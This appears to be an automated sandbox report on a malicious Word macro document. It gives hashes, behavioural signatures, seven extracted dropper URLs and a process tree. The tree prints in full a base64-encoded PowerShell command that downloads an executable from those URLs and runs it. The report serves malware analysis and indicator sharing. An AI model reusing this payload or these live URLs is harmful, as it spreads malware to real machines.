Analysis

  • max time kernel
    53s
  • max time network
    36s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    20/11/2024, 10:10

General

  • Target

    572fb97b1fec24c598ccb6113fa40a3c81c1c6d0e1d01f1611920c131cbeca7c.doc

  • Size

    167KB

  • MD5

    0898b0beac0d89db7a616cd49676b951

  • SHA1

    ba58393c0d3dc1f9cbdfa66351254c30b126503d

  • SHA256

    572fb97b1fec24c598ccb6113fa40a3c81c1c6d0e1d01f1611920c131cbeca7c

  • SHA512

    6dc84807ed898aa96b9cc04d4f2bd1cbf6f211345dc3fc627111578bdee24a9a7f38eb2b5f9acab12637183546bdae1da1f3df2f6847b6949d3fe0cffc8b92bc

  • SSDEEP

    3072:3/AwBB2sniZEg43bOp9AtdLaMigcOWwVW8KQlanxvlqYp+9bzbDgEarpHfR+yUJ1:zJiP/w2PZevVnL+JA8lX1h9a

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://rossie.in/wp/6L0U/

exe.dropper

https://envirohubconsulting.co.za/cgi-bin/vI5/

exe.dropper

https://grandages.org.my/office/y6Uz/

exe.dropper

http://dailypharmajobs.com/cgi-bin/CyCdO/

exe.dropper

https://comercialadvance.com/images/MFXxM5Tg/

exe.dropper

https://royalnight.in/wp/lEA2gXXBj/

exe.dropper

https://gymmuscle.tk/wp-content/U8j1Bkh/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\572fb97b1fec24c598ccb6113fa40a3c81c1c6d0e1d01f1611920c131cbeca7c.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2324
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2716
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
      POwersheLL -ENCOD cwBFAHQALQBJAHQARQBtACAAdgBhAFIAaQBBAEIAbABFADoAaQAzADkAMgA0ADYAIAAoACAAWwB0AHkAUABlAF0AKAAnAFMAJwArACcAeQBTAHQAJwArACcARQBtAC4AaQBPAC4AZABJAHIAZQBDAFQAbwAnACsAJwByAHkAJwApACkAIAAgADsAIAAgACQAMABkADYAQwBLAD0AIAAgAFsAdAB5AHAARQBdACgAJwBTAFkAcwB0AEUAbQAnACsAJwAuAG4AJwArACcAZQBUAC4AcwBFAFIAdgAnACsAJwBJACcAKwAnAEMAZQBwACcAKwAnAE8ASQBuAFQATQAnACsAJwBBAG4AJwArACcAYQBnAEUAUgAnACkAIAA7ACAAIABzAEUAVAAtAGkAdABlAE0AIAAoACcAVgAnACsAJwBBAFIAaQBhAEIATABlADoAJwArACcAMwBQACcAKwAnAEQAUwAnACkAIAAgACgAWwBUAFkAcABFAF0AKAAnAHMAeQAnACsAJwBzACcAKwAnAFQARQAnACsAJwBNAC4AbgBFACcAKwAnAFQAJwArACcALgBTAEUAYwB1AHIAJwArACcASQB0AHkAcAByAE8AVAAnACsAJwBPAGMAbwBsAHQAeQBwACcAKwAnAGUAJwApACAAKQA7ACQAVABuADkAZwA2AGIAMgA9ACgAJwBJAG4ANABqADcAOAAnACsAJwBiACcAKQA7ACQASwBsADkAYwBkAGkAOAA9ACQAUABnAHQANQBsADQAbgAgACsAIABbAGMAaABhAHIAXQAoADgAMAAgAC0AIAAzADgAKQAgACsAIAAkAEUAdgB0AGEANQA4AG8AOwAkAEsAaQBrADIAawAxADkAPQAoACcAVQBzADUAJwArACcAbgA5ADkAJwArACcANAAnACkAOwAgACQASQAzADkAMgA0ADYAOgA6AGMAcgBlAEEAdABFAEQASQByAGUAQwBUAE8AcgBZACgAJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQAgACsAIAAoACgAJwA5AHIAZQBNACcAKwAnAHQANgBmADIAMgBoACcAKwAnADkAJwArACcAcgBlAFgAJwArACcAeABrAGoAZQBmADkAOQAnACsAJwByAGUAJwApAC4AcgBlAFAATABhAGMARQAoACgAWwBjAGgAYQBSAF0ANQA3ACsAWwBjAGgAYQBSAF0AMQAxADQAKwBbAGMAaABhAFIAXQAxADAAMQApACwAJwBcACcAKQApACkAOwAkAE8AMgB5ADkAeABkAG4APQAoACcAWgBjAGEAJwArACcAawAnACsAJwBzADEAdAAnACkAOwAgACAAKABHAEkAIAAgACgAIgB2AEEAUgBpAGEAYgBsAGUAIgArACIAOgAiACsAIgAwAGQANgAiACsAIgBDAGsAIgApACAAIAApAC4AdgBBAEwAVQBlADoAOgBzAEUAYwB1AFIAaQBUAFkAcABSAG8AdABPAEMAbwBMACAAPQAgACAAJAAzAFAAZABzADoAOgB0AEwAUwAxADIAOwAkAFoAdQA3AHgAdwBsAGoAPQAoACcARwBkAGIANAAwAGEAJwArACcAMAAnACkAOwAkAFAAbgBqAHAAeABkAGYAIAA9ACAAKAAnAFUAJwArACcAdABxAGMAagBxACcAKQA7ACQASAA2AG0AMgBpADEAeQA9ACgAJwBCADAAcABuACcAKwAnAG4AYwBmACcAKQA7ACQARwByADQAegB1AGMAdQA9ACgAJwBaAGQANAByACcAKwAnADAAawByACcAKQA7ACQAVABzAF8AXwBuAGcAMAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBNAHQANgBmACcAKwAnADIAJwArACcAMgBoAHsAJwArACcAMAB9AFgAeABrACcAKwAnAGoAZQBmACcAKwAnADkAewAwAH0AJwApACAALQBmAFsAYwBoAGEAUgBdADkAMgApACsAJABQAG4AagBwAHgAZABmACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABPADAAdgAzAGsAdgBiAD0AKAAnAE8AZgAwADUAJwArACcAdQB5ACcAKwAnAHcAJwApADsAJABNADYAMgBiADIAZABmAD0ATgBlAHcAYAAtAE8AQgBKAEUAYABjAHQAIABOAEUAdAAuAFcAZQBiAGMATABpAEUAbgBUADsAJABXADEAcQB1AHUAZQBxAD0AKAAnAGgAdAB0AHAAJwArACcAcwAnACsAJwA6ACcAKwAnAC8ALwByAG8AcwBzAGkAZQAuAGkAbgAvAHcAcAAvADYATAAnACsAJwAwAFUALwAnACsAJwAqAGgAdAB0AHAAcwA6AC8ALwBlACcAKwAnAG4AdgBpAHIAbwBoACcAKwAnAHUAYgAnACsAJwBjAG8AbgAnACsAJwBzACcAKwAnAHUAbAB0ACcAKwAnAGkAbgBnAC4AYwBvACcAKwAnAC4AegBhAC8AYwBnAGkALQBiACcAKwAnAGkAbgAvAHYASQA1AC8AKgBoAHQAdABwACcAKwAnAHMAOgAnACsAJwAvAC8AZwByACcAKwAnAGEAbgBkAGEAZwBlAHMALgBvAHIAZwAnACsAJwAuAG0AeQAnACsAJwAvAG8AZgBmAGkAYwBlACcAKwAnAC8AeQA2ACcAKwAnAFUAegAvACoAaAB0AHQAcAA6AC8ALwBkAGEAJwArACcAaQBsAHkAcABoAGEAcgBtACcAKwAnAGEAagAnACsAJwBvAGIAcwAuAGMAbwBtAC8AYwBnAGkALQBiACcAKwAnAGkAbgAvAEMAeQBDAGQATwAvACoAaAB0AHQAcABzADoALwAnACsAJwAvAGMAbwBtAGUAcgBjAGkAYQAnACsAJwBsACcAKwAnAGEAJwArACcAZAB2AGEAbgBjAGUALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8ATQBGAFgAeABNADUAVAAnACsAJwBnAC8AKgBoAHQAdABwAHMAOgAvAC8AcgAnACsAJwBvAHkAYQBsAG4AaQBnAGgAdAAuAGkAbgAnACsAJwAvACcAKwAnAHcAcAAvAGwARQBBADIAZwBYACcAKwAnAFgAQgBqAC8AKgBoAHQAJwArACcAdABwAHMAOgAvAC8AZwAnACsAJwB5ACcAKwAnAG0AbQB1AHMAYwBsAGUALgB0AGsAJwArACcALwB3AHAALQBjAG8AJwArACcAbgB0AGUAJwArACcAbgB0AC8AJwArACcAVQA4AGoAJwArACcAMQBCAGsAaAAvACcAKQAuAFMAUABsAEkAdAAoACQAUQBmAGcAdwBxADIAYgAgACsAIAAkAEsAbAA5AGMAZABpADgAIAArACAAJABIAG0AMwBlADgAZwAwACkAOwAkAE4AagA0AHAAcwBvAGQAPQAoACcATAB5ACcAKwAnAGUAbwBkADIAJwArACcAcQAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEwAcgA3AGgAdgA0ADAAIABpAG4AIAAkAFcAMQBxAHUAdQBlAHEAKQB7AHQAcgB5AHsAJABNADYAMgBiADIAZABmAC4AZABPAFcATgBMAG8AYQBkAEYASQBsAGUAKAAkAEwAcgA3AGgAdgA0ADAALAAgACQAVABzAF8AXwBuAGcAMAApADsAJABOAHgANgA1AGUANgAxAD0AKAAnAFgAbQByACcAKwAnADAANAA4AGkAJwApADsASQBmACAAKAAoAEcARQB0AC0AaQBUAGAAZQBNACAAJABUAHMAXwBfAG4AZwAwACkALgBsAGUAbgBHAFQAaAAgAC0AZwBlACAAMwAwADAAOAA2ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACcAdwBpAG4AMwAyAF8AUAAnACsAJwByAG8AYwAnACsAJwBlAHMAJwArACcAcwAnACkAKQAuAEMAcgBFAEEAVABlACgAJABUAHMAXwBfAG4AZwAwACkAOwAkAEUAbABrADYAZwB5AGoAPQAoACcATQBnADQAeAB5ACcAKwAnAGYAdQAnACkAOwBiAHIAZQBhAGsAOwAkAEwAdwBrAGwAZgB5AHkAPQAoACcAWgB0AGYAOABmADcAJwArACcAdAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMAaAA4AHAAZwByAGwAPQAoACcAUAAyAHgAJwArACcAegA5AGcAagAnACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2788

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2324-28-0x0000000006060000-0x0000000006160000-memory.dmp

      Filesize

      1024KB

    • memory/2324-29-0x0000000006060000-0x0000000006160000-memory.dmp

      Filesize

      1024KB

    • memory/2324-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2324-30-0x0000000006060000-0x0000000006160000-memory.dmp

      Filesize

      1024KB

    • memory/2324-6-0x00000000002A0000-0x00000000003A0000-memory.dmp

      Filesize

      1024KB

    • memory/2324-7-0x0000000006AC0000-0x0000000006BC0000-memory.dmp

      Filesize

      1024KB

    • memory/2324-8-0x00000000002A0000-0x00000000003A0000-memory.dmp

      Filesize

      1024KB

    • memory/2324-12-0x0000000006060000-0x0000000006160000-memory.dmp

      Filesize

      1024KB

    • memory/2324-2-0x00000000713BD000-0x00000000713C8000-memory.dmp

      Filesize

      44KB

    • memory/2324-0-0x000000002F491000-0x000000002F492000-memory.dmp

      Filesize

      4KB

    • memory/2324-5-0x00000000002A0000-0x00000000003A0000-memory.dmp

      Filesize

      1024KB

    • memory/2324-38-0x0000000006060000-0x0000000006160000-memory.dmp

      Filesize

      1024KB

    • memory/2324-37-0x0000000006060000-0x0000000006160000-memory.dmp

      Filesize

      1024KB

    • memory/2324-39-0x0000000006060000-0x0000000006160000-memory.dmp

      Filesize

      1024KB

    • memory/2324-49-0x0000000006060000-0x0000000006160000-memory.dmp

      Filesize

      1024KB

    • memory/2324-48-0x00000000002A0000-0x00000000003A0000-memory.dmp

      Filesize

      1024KB

    • memory/2324-47-0x00000000713BD000-0x00000000713C8000-memory.dmp

      Filesize

      44KB

    • memory/2788-46-0x0000000001E80000-0x0000000001E88000-memory.dmp

      Filesize

      32KB

    • memory/2788-45-0x000000001B750000-0x000000001BA32000-memory.dmp

      Filesize

      2.9MB